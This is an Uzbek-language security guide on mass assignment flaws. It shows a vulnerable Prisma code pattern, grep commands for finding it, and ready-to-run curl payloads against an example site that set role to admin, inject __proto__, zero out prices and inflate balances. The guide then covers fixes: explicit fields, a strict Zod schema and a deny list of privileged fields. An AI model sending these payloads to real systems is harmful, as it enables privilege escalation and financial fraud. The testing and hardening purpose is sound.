⚙️
Mass Assignment
O'z rolini o'zgartirish
1
Maqsad
o'z rolini o'zgartirishBackend foydalanuvchi yuborgan barcha maydonlarni to'g'ridan-to'g'ri
ma'lumot bazasiga yozsa — hujumchi qo'shimcha maydon qo'shadi:
role: "admin", isVerified: true, balance: 999999.
2
Tushuntirish
// XAVFLI — butun so'rovni yozadi await prisma.user.update({ where: {{ id: req.user.id }}, data: req.body }); // hujum: req.body = {{"email":"a@b.uz","role":"admin"}} // TO'G'RI — maydonlar ko'rsatilgan await prisma.user.update({ where: {{ id: req.user.id }}, data: { email: req.body.email, name: req.body.name } // faqat ruxsat etilgan });
Nima uchun xavfli
Bu hujum kirish talab qilmaydi — oddiy
foydalanuvchi o'z ma'lumotini tahrirlab role maydonini
qo'shsa bas. Eng tez tarqalgan "praktika zaifligi" — chunki kod
ishlaydi, lekin xavfsiz emas.
3
Qanday aniqlanadi
# 1) butun so'rovni yozayotgan joylar grep -rnE "data: *req\.body|update\(.*req\.body|create\(.*req\.body|Object\.assign\(.*req\.body" src/ # 2) maydonlar ro'yxati (ihtiyoriy) grep -rnE "allowedFields|pick\(|whitelist|sanitize.*body" src/ | head # 3) maxsus maydonlarni izlang grep -rnE "role|isAdmin|is_admin|admin|verified|balance|credit|price|discount|plan" src/models/ | head
4
Buyruqlar
# 1) rolini ko'tarish — asosiy sinov curl -s -X PUT https://site.uz/api/profile -H "Authorization: Bearer $TOKEN" \ -H "Content-Type: application/json" -d '{"role":"admin"}' | jq . curl -s -X PUT https://site.uz/api/profile -H "Authorization: Bearer $TOKEN" \ -H "Content-Type: application/json" \ -d '{"role":"admin","isAdmin":true,"role_id":1}' | jq . # 2) JSON ichida __proto__ bilan curl -s -X PUT https://site.uz/api/profile -H "Authorization: Bearer $TOKEN" \ -H "Content-Type: application/json" -d '{"__proto__":{"role":"admin"}}' # 3) tasdiqlash belgisini o'zgartirish curl -s -X PUT https://site.uz/api/profile -H "Authorization: Bearer $TOKEN" \ -H "Content-Type: application/json" -d '{"isVerified":true,"emailVerified":true}' # 4) narx / balans curl -s -X PUT https://site.uz/api/courses/7 -H "Authorization: Bearer $TOKEN" \ -H "Content-Type: application/json" -d '{"price":0,"discount":100}' curl -s -X POST https://site.uz/api/wallet -H "Authorization: Bearer $TOKEN" \ -H "Content-Type: application/json" -d '{"balance":999999,"credits":10000}' # 5) barcha maydonlarni birdan urish curl -s -X POST https://site.uz/api/register -H "Content-Type: application/json" \ -d '{"email":"t@site.uz","password":"Test1234!","name":"t", "role":"admin","isAdmin":true,"isVerified":true, "plan":"ultra","balance":999999,"id":1}' | jq . # 6) turli endpointlarni avtomatik sinash for EP in profile user account settings users/me; do R=$(curl -s -X PUT "https://site.uz/api/$EP" -H "Authorization: Bearer $TOKEN" \ -H "Content-Type: application/json" -d '{"role":"admin","isAdmin":true}') echo " /$EP → $(echo $R | head -c 60)" done
5
Natija
✓ MUvaffaqiyat — hujum ISHLADI
| Server javobi | Nima degani |
|---|---|
`role: "admin"` qaytadi | **Mass assignment — rolingiz ko'tarildi** |
`isAdmin: true` saqlandi | **Kritik** |
Admin menyusi paydo bo'ldi | **Hujum muvaffaqiyatli** |
`balance: 999999` | **Iqtisodiy zarar** |
`isVerified: true` | **Tasdiqlash chetlab o'tildi** |
✗ Rad etish — hujum ISHLAMADI
| Server javobi | Nima degani |
|---|---|
`role` maydoni javobda yo'q | **To'g'ri** — maydon rad etilgan |
`400 / unknown field` | **Xavfsiz** — schema tekshiriladi |
`role: "user"` qaytadi (o'zgarmadi) | **To'g'ri himoya** |
6
Zararni yopish
1. Aniq maydonlar (eng ishonchli)
const { email, name, avatar } = req.body; // faqat kerakli
await prisma.user.update({
where: {{ id: req.user.id }},
data: {{ email: String(email).toLowerCase(), name }}
});
2. Schema validatsiyasi (Zod / Joi / class-validator)
// Zod — qo'llanma const Schema = z.object({{ email: z.string().email(), name: z.string().min(2).max(60), }}).strict(); // ← .strict() = qo'shimcha maydon RAD const d = Schema.parse(req.body);
3. Taqiqlanadigan maydonlar ro'yxati
const DENY = ['role','isAdmin','is_admin','role_id','id','userId',
'isVerified','emailVerified','balance','credits',
'plan','price','discount','createdAt','passwordHash'];
for (const k of Object.keys(req.body))
if (DENY.includes(k)) return res.status(400).json({{ success:false }});
4. PUT vs PATCH
// PUT da maydonlarni qaytarish kerak, aks holda ular o'chadi data: {{ email: d.email, name: d.name, role: user.role }} // rolli saqlanadi
7
Tekshirish ro'yxati
- Faqat aniq maydonlar yoziladi (yoki `.strict()` schema)
- `role`, `isAdmin`, `id`, `balance` rad etiladi
- Yaratishda `id` va `createdAt` serverda belgilanadi
- Rol faqat server tomonda o'zgaradi (admin panel orqali)
- `{"role":"admin"}` bilan test qilindi